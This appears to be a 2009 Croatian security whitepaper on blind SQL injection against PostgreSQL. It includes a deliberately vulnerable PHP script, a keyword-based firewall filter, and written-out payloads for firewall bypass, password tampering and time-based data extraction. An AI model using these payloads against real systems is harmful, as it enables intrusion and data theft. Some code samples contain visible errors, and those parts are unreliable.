

Napredni PostgreSQL SQL Injection napadi i metode zaobilaženja vatrozida

INFIGO-TD-2009-04

2009-06-17

Leon Juranić
leon.juranic@infigo.hr



Ovaj dokument namijenjen je javnoj objavi, a vlasništvo je INFIGO IS. Svatko ga smije koristiti pozivati se na njega ili ga citirati, ali isključivo u izvornom obliku i uz obvezno navođenje izvora.

Korištenje dokumenata na bilo koji drugi način od gore navedenog, bez dozvole INFIGO IS predstavlja povredu vlasništva i kao takvo podložno je zakonskoj odgovornosti koja je regulirana zakonima Republike Hrvatske ili drugom primjenjivom regulativom.

Infigo IS d.o.o.
Horvatovac 20
10000 Zagreb

tel. +385 1 4662 700
fax. +385 1 4662 701
info@infigo.hr
www.infigo.hr



SADRŽAJ

1. SAŽETAK	4
2. RANJIVA WEB APLIKACIJA	5
3. OPĆENITI BLIND SQL INJECTION NAPADI	7
4. TEHNIKE ZAOBILAŽENJA VATROZIDA	8
4.1. KORIŠTENJE ZNAKA DOLAR (\$)	8
4.2. FUNKCIJE BAZE PODATAKA	9
5. ISKORIŠTAVANJE BLIND SQL INJECTION RANJIVOSTI U POSTGRESQL BAZAMA PODATAKA	11
5.1. IDENTIFIKACIJA IMENA TABLICA I STUPACA	11
5.1.1. DOHVAT PODATAKA	11
5.1.1.1. Dohvaćanje podataka korištenjem substr() funkcije	12
5.1.1.2. Dohvaćanje podataka korištenjem strpos() funkcije	12
5.1.1.3. Dohvaćanje podataka korištenjem get_byte() funkcije	14
6. ZAKLJUČAK	15

1. SAŽETAK

Prema WhiteHat Website Security Statistics Report izvješću iz 2009., dostupnom na URL adresi http://www.whitehatsec.com/home/assets/WPStatsreport_100107.pdf, SQL Injection ranjivosti čine 17% svih ranjivosti web aplikacija. Osim što su ove ranjivosti vrlo učestale, one obično napadaču omogućavaju čitanje ili čak i modificiranje podataka u bazi podataka koju koristi ranjiva web aplikacija. Ova činjenica značajno povećava rizik koji proizlazi iz SQL Injection ranjivosti.

Kako bi se povećala razina sigurnosti web aplikacija, tvrtke danas vrlo često implementiraju vatrozide za web aplikacije ili razne filtre. Iako vatrozidi za web aplikacije mogu detektirati i spriječiti određene napade, oni ne predstavljaju jedinstveno rješenje za sigurnost web aplikacija. Ovaj dokument opisuje napredne metode blind SQL Injection napada na PostgreSQL baze podataka. Dokument je rezultat penetracijskog testiranja provedenog na stvarnom, produkcijskom sustavu sa stvarnom aplikacijom i vatrozidom za web aplikacije.

Metode napada demonstrirane u ovom dokumentu pokazuju kako napadač može zaobići zaštite implementirane od strane vatrozida za web aplikacije i u potpunosti preuzeti kontrolu nad bazom podataka. Poglavlje 2 dokumenta opisuje ranjivu aplikaciju te skriptu koja simulira vatrozid za web aplikacije zasnovan na ključnim riječima. Poglavlje 3 objašnjava osnove blind SQL Injection ranjivosti. Slijedeće poglavlje, 4, demonstrira tehnike kojima je moguće zaobići sigurnosne kontrole implementiranog vatrozida za web aplikacije opisanog u poglavlju 2. Konačno, poglavlje 5 detaljno opisuje provođenje blind SQL Injection napada s specifičnostima vezanim uz PostgreSQL bazu podataka.

2. RANJIVA WEB APLIKACIJA

U svrhu demonstracije iskorištavanja SQL Injection ranjivosti korištena je jednostavna web aplikacija prikazana u nastavku. Ranjiva web aplikacija šalje upit u PostgreSQL bazu podataka prema korisničkom `id` parametru. Ovaj parametar aplikacija koristi za dohvaćanje korisničkog imena te osobnih podataka o korisniku. Ispis u nastavku prikazuje web aplikaciju s ranjivim SQL upitom označenim žutom bojom.

ID parametar, koji se koristi u `pg_exec()` funkciji ranjiv je na SQL injection napad. Budući da rezultat izvršavanja upita nije vidljiv krajnjem korisniku, riječ je o blind SQL injection ranjivosti.

Također, budući da je `id` numerički parametar, nije ga potrebno zatvoriti navodnicima kako bi se formirao ispravan SQL upit. Ovo je važno istaknuti budući da korištenje `magic_quotes` funkcionalnosti PHP interpretera u ovom slučaju neće aplikaciju zaštititi od provođenja napada.

Izvorni `query.php` kod skripte prikazan je u nastavku:

```
<?
    include ("sqlinjectionfilter.php");

    if (!isset($_GET['id']))
    {
        exit(0);
    }

    if (SQLInjectionTest($_GET['id']))
    {
        echo "<h1> SQL INJECTION DETECTED!!! </h1>";
        exit(0);
    }

    echo "<hr>";
    $connection = pg_connect("dbname=templatel user=postgres") or
die("Connection failed");

    $myresult = pg_exec($connection, "SELECT * FROM users WHERE
id=" . $_GET['id'] . ";" );

/* ...
...
...
*/
?>
```

Budući da je ovaj dokument nastao kao rezultat stvarnog penetracijskog testa, u kojem je ranjiva web aplikacija bila slična gore navedenoj te zaštićena s vatrozidom za web aplikacije, još jedna PHP skripta razvijena je u svrhu simuliranja vatrozida. Vatrozid je simuliran jednostavnom funkcijom, `SQLInjectionTest()`.

Slično pravom vatrozidu za web aplikacije, ova funkcija pregledava korisnički unos i pomoću *Regular Expression* izraza provjerava da li isti sadrži SQL naredbe koje ukazuju na potencijalnu neovlaštenu aktivnost. Ukoliko je SQL naredba identificirana, skripta će automatski blokirati upit koji nikad neće biti predan ranjivoj web aplikaciji.

Skripta `sqlinjectionfilter.php`, koja implementira vatrozid za web aplikacije prikazana je u nastavku. Ostatak ovog dokumenta opisuje metode napada koje se mogu koristiti u svrhu zaobilaženja sličnih vatrozida za web aplikacije. Napadi koji su prikazani u dokumentu bazirani su na klasičnim blind SQL Injection napadima, s razlikom da su prošireni kako bi iskoristile neke specifičnosti PostgreSQL baze podataka.

```
<?
function SQLInjectionTest($checkstring)
{
    $sqltest = array ("/SELECT.*FROM.*WHERE/i",
                    "/INSERT.*INTO/i",
                    "/DELETE.*FROM/i",
                    "/UPDATE.*WHERE/i",
                    "/ALTER.*TABLE/i",
                    "/DROP.*TABLE/i",
                    "/CREATE.*TABLE/i",
                    "/substr/i",
                    "/varchar/i",
                    "/or.*\d=\d/i",
                    "/and.*\d=\d/i");

    foreach ($sqltest as $regex)
    {
        if (preg_match($regex, $checkstring))
        {
            return TRUE;
        }
    }
    return FALSE;
}
?>
```

3. OPĆENITI BLIND SQL INJECTION NAPADI

Blind SQL Injection ranjivost u širem smislu, označava situaciju u kojoj je napadač u mogućnosti kontrolirati SQL upit koji se šalje u bazu, ali ne dobiva povratnu informaciju o tome što je dohvaćeno iz baze. Da bi napadač došao do sadržaja pojedinog zapisa u bazi, potrebno je izvršiti SQL upit koji postavlja određeni uvjet, i ukoliko je uvjet zadovoljen, izvršiti neku akciju koja će napadaču signalizirati da je uvjet zadovoljen.

Ovisno o web aplikaciji, u nekim situacijama to je moguće utvrditi iz samog odgovora web aplikacije, zato što napadač dobiva različit odgovor u odnosu na vrijednost koju je dohvatio iz baze kao rezultat SQL upita. Ponekad, web aplikacija vraća identičnu stranicu neovisno o SQL upitu. Za takve situacije kod blind SQL Injection napada, za razlikovanje da li je uvjet kojeg postavlja napadač istinit ili lažan, obično se koristi funkcija `SLEEP()`.

Prilikom formiranja SQL upita, napadač modificira SQL upit tako da sadrži uvjet: ukoliko je tvrdnja ispravna, pomoću funkcije `SLEEP()` izvršavanje SQL upita pauzira se na određeno vrijeme. Ukoliko tvrdnja nije ispravna, SQL upit se izvršava normalno. Pomoću pažljivo odabranih SQL upita i mjerenja vremena odgovora web aplikacije, napadač na ovaj način može indirektno dohvatiti željene zapise/informacije iz baze.

U nastavku je prikazan pseudo kod SQL upita pomoću kojeg napadač može ustanoviti da li neki korisnik u tablici `users` ima jednako korisničko ime i lozinku:

```
IF ((SELECT * FROM users WHERE UPPER(username) LIKE UPPER(password)))
THEN
    SLEEP 10;
ELSE
    RETURN 0;
```

Ukoliko je u tablici `users` pronađen zapis korisnika koji ima jednako korisničko ime i lozinku, izvršavanje upita će biti pauzirano 10 sekundi. U samom upitu, za usporedbu korisničkog imena i lozinke, koristi se i funkcija `UPPER()` koja korisničko ime i zaporku konvertira u velika slova.

`SLEEP()` ili ekvivalentne funkcije razlikuju se u različitim bazama podataka:

- PostgreSQL - `PG_SLEEP()`
- Microsoft SQL Server - `WAITFOR DELAY 'XX:XX:XX'`
- MySQL - `BENCHMARK()`
- Oracle - `DBMS_LOCK.SLEEP()`

U PostgreSQL bazama podataka, klauzulu `IF()` zamjenjuje `CASE`. Isto tako, PostgreSQL podržava nadovezivanje SQL upita (engl. *stacked queries*), što omogućava izvršavanje više SQL naredbi jednu za drugom, koje su odijeljene znakom `;`.

Koristeći ove informacije prethodni upit za traženje korisnika sa istim korisničkim imenima i zaporkama u PostgreSQL bazi podataka izgleda ovako:

```
SELECT CASE WHEN (SELECT 1 FROM users WHERE UPPER(username) LIKE
UPPER(password)) = 1
THEN
    PG_SLEEP(10)
ELSE
    PG_SLEEP(0)
END;
```

4. TEHNIKE ZAOBILAŽENJA VATROZIDA

Ovo poglavlje sadrži detaljne informacije o tehnikama koje se mogu koristiti u svrhu zaobilazjenja vatrozida za web aplikacije, poput onog opisanog u poglavlju 2.

4.1. KORIŠTENJE ZNAKA DOLAR (\$)

Iako su u PHP verziji 6, *Magic Quotes* mogućnosti izbačene – između ostalog, zbog problema u portabilnosti PHP aplikacija, još uvijek se veliki broj PHP programera i web aplikacija oslanja na njih za zaštitu. *Magic Quotes* radi tako da na svakoj varijabli u GET i POST upitima, ili kolačićima (eng. *cookie*), izvrše specijalnu funkciju koja ispred znakova *quote* ('), *double-quote* ("), *backslash* (\) i NULL (\0) stavlja znak *backslash* (\). Na taj način, korisnički unos se *escapea*, a napadaču se onemogućava promjena SQL upita i provođenje SQL Injection napada. U nastavku je prikazan primjer SQL upita za autorizaciju korisnika web aplikacije, sa napadačevim unosom označenim žutom bojom. U ovom primjeru, *Magic Quotes* mogućnost spriječila je SQL Injection napad dodavanjem *backslash* znakova.

```
SELECT id, username, firstname, lastname, password FROM users WHERE  
password='\' OR \'\'=\'';
```

Kao što se može vidjeti, ispred jednostrukih navodnika *Magic Quotes* je ubacio znak *backslash* tako da se niz koji je napadač unio tretira kao običan znakovni niz. Da *Magic Quotes* nije uključen, napadačev upit bi promijenio značenje izvornog SQL upita, i prijavio bi napadača u aplikaciju, budući da napadačev SQL upit traži korisnika bez postavljene zaporke, ili ispunjenje uvjeta `OR ''=''`, koji je uvijek zadovoljen. Zaobilazjenje *Magic Quotes* mogućnosti u ovom slučaju nije moguće, osim ako napadač ne iskorištava neku ranjivost u samom PHP interpreteru ili PostgreSQL bazi podataka.

Veliki broj aplikacija danas u SQL upitima koristi numeričke vrijednosti. Numeričke vrijednosti ne moraju biti zatvorene navodnicima što napadačima dozvoljava umetanje proizvoljnih SQL upita bez potrebe za korištenjem navodnika. U ovakvim slučajevima *Magic Quotes* neće zaštititi web aplikaciju od SQL injection napada. Slijedeći primjer pokazuje SQL upit koji koristi `query.php` skripta. Na izvorni parametar `id` kojem je pridijeljena vrijednost 1, nadovezan je SQL upit koji demonstrira SQL injection ranjivost. Ovakav upit uvijek će biti zadovoljen što će uzrokovati vraćanje prvog dostupnog zapisa u `users` tablici (zapisa s najmanjim `id` poljem):

```
SELECT * FROM users WHERE id = 1 OR 1=1;
```

S obzirom da napadač zbog *Magic Quotesa* ne može koristiti jednostruke navodnike, ukoliko u SQL upit želi ubaciti neki znakovni niz, mora ga zapisati u nekom drugom obliku. Jedna varijanta je korištenje PostgreSQL funkcije `CHR()`. Ova funkcija kao parametar uzima decimalnu vrijednost ASCII znaka i vraća pripadajući ASCII znak npr. `CHR(65)` vraća A, `CHR(66)` vraća B, itd. Kombinacijom `CHR()` funkcije i operatora `||` za spajanje, moguće je konstruirati proizvoljne nizove znakova.

U nastavku je prikazan primjer jednog takvog upita koji vraća niz znakova 'ABCDEFGH'.

```
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72)  
);
```

Osim korištenja funkcije `CHR()`, počevši od inačice 8, PostgreSQL također omogućava korištenje znakova dolara (`$$`) za definiranje znakovnih konstanti, kao što je objašnjeno na URL adresi <http://www.postgresql.org/docs/8.2/static/sql-syntax-lexical.html>, *Dollar-Quoted String Constants*. Napadač tako može iskoristiti ovu mogućnost za okruživanje znakovnih nizova znakom dolara umjesto navodnicima. S obzirom da *Magic Quotes* ne filtrira znak '\$', na ovaj je način moguće u SQL upit ubaciti proizvoljni znakovni niz, bez potrebe za korištenjem `CHR()` funkcije. Ovakav način zapisa može isto tako biti koristan u slučajevima u kojima vatrozid za web aplikacije uz *Magic Quotes* filtrira još i npr. znak pipe ('|').

U nastavku je prikazan primjer SELECT upita sa korištenjem zapisa pomoću znaka dolara.

```
SELECT $$DOLLAR-SIGN-TEST$$;
```

Konačno, osim ovakvog načina zapisa, uz pomoć znakova dolara moguće je znakovne nizove definirati i *tagovima*. U tom se slučaju umjesto dva '\$' znaka koristi zapis \$ime_taga\$ za otvaranje i zatvaranje *taga*. U nastavku je prikazan prethodni SELECT upit, pri čemu je znakovni niz zatvoren *tagom* \$quote\$.

```
SELECT $quote$DOLLAR-SIGN-TEST$quote$;
```

Navedene mogućnosti mogu napadaču pomoći prilikom zaobilaženja vatrozida za web aplikacije.

4.2. FUNKCIJE BAZE PODATAKA

Kao što je slučaj i s drugim modernim RDBMS sustavima, PostgreSQL također podržava korisnički definirane funkcije. Funkcije se definiraju korištenjem CREATE FUNCTION klauzule, čija je sintaksa dana u nastavku:

```
CREATE [ OR REPLACE ] FUNCTION
  name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
  [ RETURNS rettype ]
  {
    LANGUAGE langname
    | IMMUTABLE | STABLE | VOLATILE
    | CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT
    | [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    | COST execution_cost
    | ROWS result_rows
    | SET configuration_parameter { TO value | = value | FROM CURRENT }
    | AS 'definition'
    | AS 'obj_file', 'link_symbol'
  } ...
  [ WITH ( attribute [, ...] ) ]
```

Prilikom definiranja nove funkcije potrebno je zadati ime funkcije, argumente (tip i ime), povratnu vrijednost i jezik u kojem je funkcija implementirana. U nastavku je prikazana upotreba CREATE FUNCTION klauzule za kreiranje jednostavne funkcije AddNumbers() koja kao argument uzima dva broja, zbroji ih i vraća njihov zbroj.

```
CREATE FUNCTION AddNumbers (a integer, b integer) RETURNS integer AS $$
BEGIN
  RETURN a + b;
END;
$$ LANGUAGE plpgsql;
```

Ova se funkcija nakon definiranja može koristiti u SELECT upitima:

```
SELECT AddNumbers(10,20);
```

U navedenom primjeru upit će vratiti vrijednost sume dva argumenta, odnosno vrijednost 30.

Definiranje novih funkcija može se iskoristiti za zaobilaženje vatrozida web aplikacija i drugih sigurnosnih filtra poput onog prikazanog u PHP skripti `sqlinjectionfilter.php`.

Da bi se zaobišle sigurnosne funkcije potrebno je definirati specijalnu funkciju u PostgreSQL bazi koja prihvaća enkodirani korisnički unos, dekodira ga i izvrši ga kao SQL upit uz pomoću SQL naredbe EXECUTE. Najjednostavniji način enkodiranja i dekodiranja koji podržava PostgreSQL baza podataka je BASE64. Ukoliko je korisnički unos enkodiran pomoću BASE64 algoritma, prilikom sigurnosne provjere korisničkog unosa, SQL Injection filter neće detektirati neovlaštene SQL upite. Nakon dekodiranja, upit će se moći normalno izvršiti.

U svrhu dekodiranja ulaznih argumenata može se koristiti funkcija decode(), koja kao prvi argument uzima enkodirani znakovni niz, a za drugi ime algoritma kojim je prvi argument enkodiran. U nastavku je prikazano pozivanje decode() funkcije za dekodiranje znakovnog niza 'Base64 Test', koji je u BASE64 zapisu zapisan kao 'QmFzZTY0IFRFRFU1Q='.

```
SELECT decode ($$QmFzZTY0IFRFRFU1Q=$$, $$base64$$);
```

Nakon izvršavanja SELECT upita iz primjera dobiva se znakovni niz 'Base64 Test'. U nastavku je prikazan izvorni kod za definiranje funkcije DecodeAndExecute(), koja kao

argument uzima enkodirani BASE64 znakovni niz, dekodira ga i izvrši kao SQL upit pomoću naredbe EXECUTE:

```
CREATE FUNCTION DecodeAndExecute(character varying) RETURNS integer AS $$
BEGIN
EXECUTE decode($1, $quote$base64$quote$);
RETURN 0;
END;
$$ LANGUAGE $plpgsql$;
```

Budući da je sam programski kod funkcije je zatvoren znakom dolara ('\$'), kod drugog argumenta (znakovni niz 'base64'), u funkciji decode(), potrebno je koristiti znak dolara sa *tagovima* \$quote\$. Također, potrebno je modificirati i argument funkcije zbog sigurnosnog filtra u `sqlinjectionfilter.php` skripti koji znakovni niz VARCHAR detektira kao pokušaj SQL Injection napada. Kako je tip VARCHAR zapravo alternativno ime za CHARACTER VARYING, moguće je koristiti ovaj tip podataka te tako zaobići sigurnosne provjere vatrozida.

Nakon definiranja DecodeAndExecute() funkcije, istu je moguće pozvati sa 'SELECT DecodeAndExecute(\$base64_enkodirani_SQL_upit\$);' upitom.

U nastavku je prikazano izvršavanje SQL upita "UPDATE users SET password=' ' WHERE id=0", enkodiranog s Base64:

```
SELECT
DecodeAndExecute($dXBkYXRlIHVzZXJzIHNIldCBwYXNzd29yZD0nIHdoZXJlIGlkPTA=$$);
```

S obzirom da je upit Base64 enkodiran, vatrozid za web aplikaciju neće detektirati SQL Injection napad te će napadač biti u stanju izvršavati bilo kakve SQL upite. Izvršavanje gore navedenog upita preko SQL Injection ranjivosti u `query.php` skripti moguće je pomoću slijedeće URL adrese:

[http://www.victim.com/query.php?id=1;SELECT%20DecodeAndExecute\(\\$dXBkYXRlIHVzZXJzIHNIldCBwYXNzd29yZD0nIHdoZXJlIGlkPTA=\\$\\$\)](http://www.victim.com/query.php?id=1;SELECT%20DecodeAndExecute($dXBkYXRlIHVzZXJzIHNIldCBwYXNzd29yZD0nIHdoZXJlIGlkPTA=$$))

5. ISKORIŠTAVANJE BLIND SQL INJECTION RANJIVOSTI U POSTGRESQL BAZAMA PODATAKA

Konačan cilj napada koji iskorištavaju SQL injection ranjivosti je čitanje ili modificiranje podataka pohranjenih u bazi podataka. Ukoliko napadaču prethodno nisu dostupne informacije o shemi baze podataka, prvi korak u provođenju ovakvih napada je enumeracija imena tablica i stupaca da bi se kasnije mogli čitati ili modificirati zapisani podaci.

Ovo poglavlje detaljno prikazuje nekoliko metoda koje se mogu koristiti za dohvaćanje podataka iz PostgreSQL baza podataka.

5.1. IDENTIFIKACIJA IMENA TABLICA I STUPACA

Kao što je opisano u poglavlju 3, enumeracija imena tablica i stupaca korištenjem blind SQL Injection ranjivosti bazira se na *brute-force* napadima. Enumeracije se provodi tako da se ranjivoj web aplikaciji šalju SQL upiti koji `SELECT` naredbom pokušavaju dohvatiti određenu tablicu ili stupac u tablici. Ukoliko je upit uspješno izvršen, odgovor web aplikacije se pauzira `PG_SLEEP()` funkcijom, a ukoliko relacija ne postoji, baza podataka vraća grešku koja napadaču nije vidljiva budući da je riječ o blind SQL Injection ranjivosti.

Otkrivanje imena tablica i stupaca obično se radi automatizirano. U nastavku je navedeno nekoliko upita koji pokušavaju otkriti postojeće tablice. Kada je ispravno ime tablice otkriveno, izvršava se `PG_SLEEP(10)` poziv što napadaču omogućava identifikaciju imena mjerenjem vremena odziva web aplikacije.

```
SELECT CASE WHEN (SELECT 1 FROM user LIMIT 1)=1 THEN pg_sleep(10) ELSE
pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM users LIMIT 1)=1 THEN pg_sleep(10) ELSE
pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM group LIMIT 1)=1 THEN pg_sleep(10) ELSE
pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM groups LIMIT 1)=1 THEN pg_sleep(10)
ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM passwd LIMIT 1)=1 THEN pg_sleep(10)
ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT 1 FROM password LIMIT 1)=1 THEN pg_sleep(10)
ELSE pg_sleep(0) END;
```

Nakon što je napadač utvrdio imena tablica, moguće je na sličan način otkriti i imena stupaca. Slijedeći primjer koristi funkciju `count()` koja vraća broj redova koji odgovaraju argumentu. Ukoliko je ime stupca ispravno, odziv SQL upita pauziran je 10 sekundi, u suprotnom baza podataka ponovo vraća grešku koja je napadaču skrivena od strane web aplikacije.

```
SELECT CASE WHEN (SELECT count(id) from users)>0 THEN pg_sleep(10) ELSE
pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(user) from users)>0 THEN pg_sleep(10)
ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(login) from users)>0 THEN pg_sleep(10)
ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(username) from users)>0 THEN
pg_sleep(10) ELSE pg_sleep(0) END;
SELECT CASE WHEN (SELECT count(password) from users)>0 THEN
pg_sleep(10) ELSE pg_sleep(0) END;
```

5.1.1. DOHVAT PODATAKA

Nakon uspješne enumeracije imena tablica i stupaca, sljedeći cilj napadača je čitanje podataka iz baze podataka. Da bi se dohvatili podatci iz pojedine tablice, napadač treba provesti *brute-force* napad na svaki znak u svakom redu tablice. U ovu se svrhu mogu koristiti `substr()`, `strpos()` i `get_byte()` funkcije koje su detaljno objašnjene u nastavku.

5.1.1.1. Dohvaćanje podataka korištenjem substr() funkcije

Funkcija `substr()` omogućava ispis podniza znakova sa zadanog mjesta (eng. *offset*) iz ulaznog niza znakova. U nastavku su prikazani `SELECT substr()` upiti koji iz znakovnog niza 'test' vraćaju znakove na pozicijama 1, 2, 3 i 4.

```
t = SELECT (SUBSTR($test$, 1, 1));
e = SELECT (SUBSTR($test$, 2, 1));
s = SELECT (SUBSTR($test$, 3, 1));
t = SELECT (SUBSTR($test$, 4, 1));
```

Da bi napadač otkrio znak koji se nalazi na određenom mjestu unutar nekog polja, izlaz `substr()` funkcije potrebno je uspoređivati sa alfanumeričkim znakovima (A-Z, a-z, 0-9 + specijalni znakovi), sve dok se ne otkrije o kojem se znaku radi. U nastavku je prikazan *brute-force* prvog znaka korisničkog imena:

```
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$a$$
THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$b$$
THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$c$$
THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (SELECT (SUBSTR(username,1,1)) FROM users where id=0)=$d$$
THEN PG_SLEEP (10) ELSE PG_SLEEP(0) END;
...
```

Prvi upit u gornjem primjeru ispituje da li je prvi znak polja `username` 'a'. Ukoliko je uvjet zadovoljen, izvršavanje SQL upita se pauzira 10 sekundi, što napadaču signalizira da je SQL upit ispravno izveden te da je prvo slovo korisničkog imena 'a'. Ukoliko uvjet nije ispunjen, *brute-force* provjera se nastavlja. Nakon što je znak otkriven, isti se proces ponavlja na drugom znaku u polju `username`, i tako sve do kraja. Ovisno o brzini baze, web aplikacije, mrežne konekcije, dužini polja i postavljenoj `PG_SLEEP()` vrijednosti, otkrivanje sadržaja pojedinog polja može potrajati od jedne do desetak i više minuta.

5.1.1.2. Dohvaćanje podataka korištenjem strpos() funkcije

Ukoliko je korištenje `substr()` funkcije onemogućeno zbog prije spomenutog sigurnosnog vatrozida za web aplikacije ili IPS sustava, moguće je iskoristiti druge načine dohvata sadržaja željenih tablica odnosno polja. U tu se svrhu može iskoristiti `strpos()` funkcija koja vraća lokaciju određenog znaka ili podniza u nekom znakovnom nizu.

Ključna razlika između prethodno spomenute `substr()` i `strpos()` funkcije je u tome da `substr()` vraća sam znak ili podniz koji se nalazi na točno određenom mjestu u ulaznom znakovnom nizu, a `strpos()` vraća cjelobrojnu vrijednost koja označava poziciju gdje se u ulaznom nizu znakova nalazi traženi znak ili podniz. Ukoliko traženi znak ili podniz nije otkriven, funkcija `strpos()` vraća vrijednost nula.

U nastavku su prikazani rezultati poziva `strpos()` funkcije koja iz ulaznog niza 'test' vraća lokaciju traženih znakova:

```
1 = SELECT (STRPOS($test$, $t$$));
2 = SELECT (STRPOS($test$, $e$$));
3 = SELECT (STRPOS($test$, $s$$));
1 = SELECT (STRPOS($test$, $t$$));
```

S obzirom da funkcija `strpos()` omogućava traženje znakova i podnizova u određenom ulaznom nizu, moguće ju je koristiti za otkrivanje sadržaja određenog polja prilikom iskorištavanja blind SQL injection ranjivosti, slično kao i u prethodnom slučaju s `substr()` funkcijom i uvjetima za izvođenje `PG_SLEEP()` poziva.

Problem kod korištenja `strpos()` funkcije je u tome što u slučaju ponavljanja znakova u ulaznom znakovnom nizu može doći do ponavljanja povratne vrijednosti funkcije. Ovo se može vidjeti u gornjem primjeru gdje zadnji `SELECT strpos()` upit u kojem se ponovo traži lokacija slova 't', umjesto 4 vraća opet broj 1, zato što je znak 't' pronađen na prvom

mjestu u ulaznom znakovnom nizu te funkcija ne nastavlja sa ispitivanjem, što ostavlja zadnji znak neotkrivenim.

Ovaj problem moguće je riješiti tako da se nakon testiranja svih alfanumeričkih znakova u otkrivenom znakovnom nizu potraže praznine koje su ostale zbog ponavljanja znakova. Praznine se zatim opet testiraju sa alfanumeričkim znakovima, ali tako da se prije traženog znaka u praznini doda niz već otkrivenih znakova koji prethode praznini odnosno neotkrivenom znaku.

Npr. u slučaju prethodnog ulaznog niza 'test', nakon što se *brute-force* metodom ispitaju svi alfanumerički znakovi, konačni rezultat će biti niz 'tes', zbog prije objašnjenog problema. Da bi se otkrio zadnji znak niza, potrebno je ponoviti testiranje tako da se uzme niz 'tes' i dodaje se znak po znak - 'tesa', 'tesb', 'tesc', ..., 'test'. Za svaki pogrešan znak, `strpos()` funkcija će vratiti nulu kao rezultat, no kada *brute-force* proces dođe do znaka 't', `strpos()` će vratiti 1, zato što je podniz otkriven na početku ulaznog niza. Ovaj proces se provodi sve dok u dobivenom nizu postoje praznine. U nastavku su prikazani `SELECT strpos()` upiti za *brute-force* otkrivanje niza 'test':

```
0 = SELECT STRPOS($test$, $a$);
0 = SELECT STRPOS($test$, $b$);
0 = SELECT STRPOS($test$, $c$);
...
2 = SELECT STRPOS($test$, $e$);
0 = SELECT STRPOS($test$, $f$);
0 = SELECT STRPOS($test$, $g$);
...
3 = SELECT STRPOS($test$, $s$);
1 = SELECT STRPOS($test$, $t$);
0 = SELECT STRPOS($test$, $u$);
...
```

Nakon što je proces završen, otkriveno je da su prva tri znaka traženog niza 'tes'. Testiranje se nastavlja sa podnizom 'tes' dok funkcija `substring()` ne vrati vrijednost 1:

```
0 = SELECT STRPOS($test$, $tesa$);
0 = SELECT STRPOS($test$, $tesb$);
0 = SELECT STRPOS($test$, $tesc$);
...
1 = SELECT STRPOS($test$, $test$);
...
```

Da bi se dohvatili podaci iz različitih redova tablica, potrebno je koristiti uvjete. Slijedeći primjer pokazuje kako je moguće dohvatiti korisničko ime iz tablice `users` provođenjem *brute-force* procesa na svim znakovima:

```
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $a$)=1
  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $a$)=2
  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $a$)=3
  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
...
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $a$)=
  <MAX_LENGTH> THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
...
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $b$)=1
  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $b$)=2
  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $b$)=3
  THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
...
SELECT CASE WHEN (STRPOS((SELECT username FROM users WHERE id=0), $b$)=
  <MAX_LENGTH> THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
```

Brute-force napad poput ovog prikazanog može biti u potpunosti automatiziran; postoji više javno dostupnih alata koji mogu pomoći u provođenju *brute-force* napada koji iskorištavaju blind SQL injection ranjivosti.

Konačno, vatrozid za web aplikacije prikazan u poglavlju 2 blokira napade u kojima se koristi ključna riječ `WHERE`. Da bi se zaobišla ova sigurnosna kontrola potrebno je modificirati SQL upite tako da se umjesto ključne riječi `WHERE` koristi kombinacija ključnih riječi `OFFSET` i `LIMIT`. Ključna riječ `OFFSET` definira broj redova koji se izostavljaju (preskaču) iz rezultata upita, a ključna riječ `LIMIT` definira koliko se redova vraća. Kombinacijom ove dvije ključne riječi dobiva se upit prikazan u nastavku koji uspješno zaobilazi sigurnosne kontrole vatrozida za web aplikacije prikazanog u poglavlju 2:

```
SELECT CASE WHEN (STRPOS((SELECT username FROM users OFFSET 0 LIMIT 1),
$$b$$)) = 1
THEN PG_SLEEP(10) ELSE PG_SLEEP(0) END;
```

5.1.1.3. Dohvaćanje podataka korištenjem `get_byte()` funkcije

Slično prethodno objašnjenim funkcijama, `get_byte()` se također može koristiti za dohvaćanje podataka. `get_byte()` funkcija prihvaća dva ulazna parametra: niz te poziciju znaka čija se vrijednost želi dohvatiti. Kao izlaz funkcija vraća ASCII vrijednost znaka. Npr. poziv `GET_BYTE('test', 0)` vraća broj 116, što je ASCII vrijednost znaka 't'. Ova se funkcija može koristiti slično `substr()` funkciji opisanoj u poglavlju 5.1.1.1.

6. ZAKLJUČAK

